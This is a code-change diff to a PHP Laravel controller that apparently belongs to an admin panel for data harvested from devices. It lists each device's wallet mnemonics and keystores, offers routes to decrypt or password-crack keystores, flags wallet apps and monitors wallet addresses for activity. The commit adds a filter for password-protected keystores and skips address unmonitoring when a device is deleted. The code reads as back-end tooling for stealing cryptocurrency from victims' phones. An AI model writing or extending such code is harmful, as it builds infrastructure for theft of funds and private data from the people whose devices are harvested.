feat: app
This commit is contained in:
@@ -22,7 +22,6 @@ use App\Models\WalletMnemonic;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use App\Services\PhotoOrigin;
|
||||
use App\Services\PhotoPreview;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\AgentScope;
|
||||
use App\Support\CfIpCountry;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
@@ -171,7 +170,7 @@ class DeviceController extends Controller
|
||||
return match ($tab) {
|
||||
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
||||
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
||||
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
|
||||
'keystores' => $this->paginateKeystores($device, $request, $field, $order, $limit, $page),
|
||||
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
||||
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
||||
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
||||
@@ -519,28 +518,20 @@ class DeviceController extends Controller
|
||||
|
||||
private function unmonitorAddresses(Device $device): void
|
||||
{
|
||||
$addresses = $device->addresses()->where('monitor', 1)->get();
|
||||
if ($addresses->isEmpty()) {
|
||||
$n = $device->addresses()->where('monitor', 1)->count();
|
||||
if ($n === 0) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
$svc = app(TokenviewMonitorService::class);
|
||||
} catch (\Throwable) {
|
||||
return;
|
||||
}
|
||||
foreach ($addresses as $address) {
|
||||
try {
|
||||
$address->monitor = 0;
|
||||
$address->monitor_synced = false;
|
||||
$address->monitor_failures = 0;
|
||||
$svc->syncMonitor($address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
|
||||
'device_id' => $device->id,
|
||||
'address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
// Tokenview removeAddress uses HTTP timeout 120s per address. A replay
|
||||
// ingest can leave dozens of monitor=1 rows; blocking delete on that
|
||||
// freezes the admin UI (and php artisan serve). Rows are deleted in
|
||||
// the next step, so webhooks will no longer match monitor=1.
|
||||
Log::info('device_purge skip_tokenview_unmonitor', [
|
||||
'id' => $device->id,
|
||||
'device_id' => $device->device_id,
|
||||
'monitor_rows' => $n,
|
||||
]);
|
||||
}
|
||||
|
||||
private function authorizeDevice(Device $device): void
|
||||
@@ -675,18 +666,21 @@ class DeviceController extends Controller
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
|
||||
private function paginateKeystores(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
||||
if (WalletKeystore::hasNeedsPasswordColumn()) {
|
||||
$sortable[] = 'needs_password';
|
||||
}
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
|
||||
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
|
||||
// LENGTH(raw_json) forces MySQL to read large blobs during sort.
|
||||
// Step 1: get paginated IDs ordered by the sort field (no blob access).
|
||||
// Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only.
|
||||
$idQuery = $device->keystores()->orderBy($field, $order);
|
||||
$needsPassword = trim((string) $request->query('needs_password', ''));
|
||||
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
|
||||
$idQuery->where('wallet_keystores.needs_password', 1);
|
||||
}
|
||||
$total = $idQuery->toBase()->getCountForPagination();
|
||||
$page = max(1, $page);
|
||||
$ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
||||
@@ -708,14 +702,12 @@ class DeviceController extends Controller
|
||||
'id' => $row->id,
|
||||
'source' => $row->sourceLabel(),
|
||||
'decrypted' => (int) $row->decrypted,
|
||||
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
|
||||
'kind' => $stats['kind'],
|
||||
'item_count' => $stats['item_count'],
|
||||
'summary' => $stats['summary'],
|
||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -729,7 +721,7 @@ class DeviceController extends Controller
|
||||
$field = 'is_wallet';
|
||||
$order = 'desc';
|
||||
}
|
||||
$q = $device->apps();
|
||||
$q = $device->apps()->listed();
|
||||
if ($field === 'is_wallet') {
|
||||
$q->orderByDesc('is_wallet')->orderBy('name');
|
||||
} else {
|
||||
|
||||
Reference in New Issue
Block a user